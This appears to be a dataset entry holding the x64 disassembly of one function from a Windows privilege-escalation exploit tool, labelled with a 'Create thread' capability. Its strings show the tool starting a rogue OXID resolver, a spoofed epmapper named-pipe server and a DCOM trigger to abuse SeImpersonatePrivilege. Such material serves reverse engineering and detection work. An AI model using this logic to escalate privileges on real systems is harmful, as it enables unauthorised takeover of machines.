Function at 0x1400025b0
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
sub rsp, 0x2b8
mov rax, qword [0x140029008]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, rdx
xor ecx, ecx
lea rdx, str.SeImpersonatePrivilege
mov rbp, r8
call fcn.140002b10
test eax, eax
je 0x140002933
mov qword [rsp + 0x2d0], rbx
mov qword [rsp + 0x2e8], rsi
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x2a8], r14
mov qword [rsp + 0x2a0], r15
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor edx, edx
lea rcx, [0x14002af70]
mov r8d, 0x200
mov r14, rax
call fcn.140004ac0
lea rax, [rsp + 0x70]
mov r9d, pe_nt_image_headers64
lea r8, [0x14002af70]
mov qword [rsp + 0x20], rax
mov edx, 2
mov rcx, r14
call qword [sym.imp.USER32.dll_GetUserObjectInformationW]
xor edx, edx
lea rcx, [0x14002af70]
mov r8d, 0x60000
call qword [sym.imp.USER32.dll_OpenWindowStationW]
mov rcx, rax
mov r15, rax
call qword [sym.imp.USER32.dll_SetProcessWindowStation]
test eax, eax
jne 0x14000268b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_SetProcessWindowStation:_d_n
call fcn.140001720
mov r9d, 0x60081
lea rcx, str.default
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_OpenDesktopW]
mov rbx, rax
test rax, rax
jne 0x1400026bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_open_Desktop:_d_n
call fcn.140001720
mov rcx, r14
call qword [sym.imp.USER32.dll_SetProcessWindowStation]
test eax, eax
jne 0x1400026e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_SetProcessWindowStation2:_d_n
call fcn.140001720
xor r12d, r12d
mov dword [rsp + 0x68], 0
lea rax, [rsp + 0x60]
mov word [rsp + 0x6c], pe_nt_image_headers64
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x48], r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x38], r12d
mov dl, 1
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x60], r12
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov esi, r12d
mov rcx, r14
test eax, eax
cmovne rsi, qword [rsp + 0x60]
mov rdx, rsi
call section..text
mov r14, qword [rsp + 0x2a8]
test eax, eax
jne 0x140002768
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_add_Ace_Station:_d_n
call fcn.140001720
mov rdx, rsi
mov rcx, rbx
call fcn.140001400
test eax, eax
jne 0x14000278b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_add_Ace_desktop:_d_n
call fcn.140001720
mov rcx, r15
call qword [sym.imp.USER32.dll_CloseWindowStation]
mov rcx, rbx
call qword [sym.imp.USER32.dll_CloseDesktop]
mov r15, qword [rsp + 0x2a0]
test rbp, rbp
je 0x1400027db
lea rcx, str.___Creating_Rogue_OXID_resolver_thread_n
call fcn.140001720
lea rax, [rsp + 0x74]
mov r9, rbp
mov qword [rsp + 0x28], rax
lea r8, [0x1400029c0]
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1400027e7
lea rcx, str.____RogueOxidResolver_not_run_locally._Ensure_you_run_it_on_your_remote_machine_n
call fcn.140001720
test rdi, rdi
jne 0x140002854
xor ecx, ecx
call fcn.14000c8b4
mov rcx, rax
call fcn.14000c458
mov rbx, r12
lea rbp, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
movabs rsi, 0x842108421084211
lea rdi, [0x14002ae50]
call fcn.14000c42c
movsxd rcx, eax
mov rax, rsi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx eax, byte [rcx + rbp]
mov byte [rbx + rdi], al
inc rbx
cmp rbx, 0xa
jl 0x140002816
mov byte [0x14002ae5a], r12b
jmp 0x14000286c
mov rdx, rdi
mov r8d, 0x103
lea rdi, [0x14002ae50]
mov rcx, rdi
call fcn.14000c818
mov r8, rdi
lea rdx, str..pipe_Spipeepmapper
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, str.___Creating_Pipe_Server_thread.._n
mov dword [rsp + 0x70], r12d
call fcn.140001720
lea rax, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x80]
lea r8, [0x140002040]
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.___Creating_TriggerDCOM_thread..._n
mov rbx, rax
call fcn.140001720
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140002230]
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x2328
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r12, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x2d0]
test eax, eax
jne 0x140002951
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400031c0
add rsp, 0x2b8
pop rdi
pop rbp
ret
lea rdx, str.SeImpersonatePrivilege
lea rcx, str.____A_privilege_is_missing:__ws._Exiting_..._n
call fcn.140001fe0
mov ecx, 0xffffffff
call fcn.14000cc30
int3
lea rcx, str.____Named_pipe_didnt_received_any_connect_request._Exiting_...__n
call fcn.140001fe0
mov ecx, 0xffffffff
call fcn.14000cc30
int3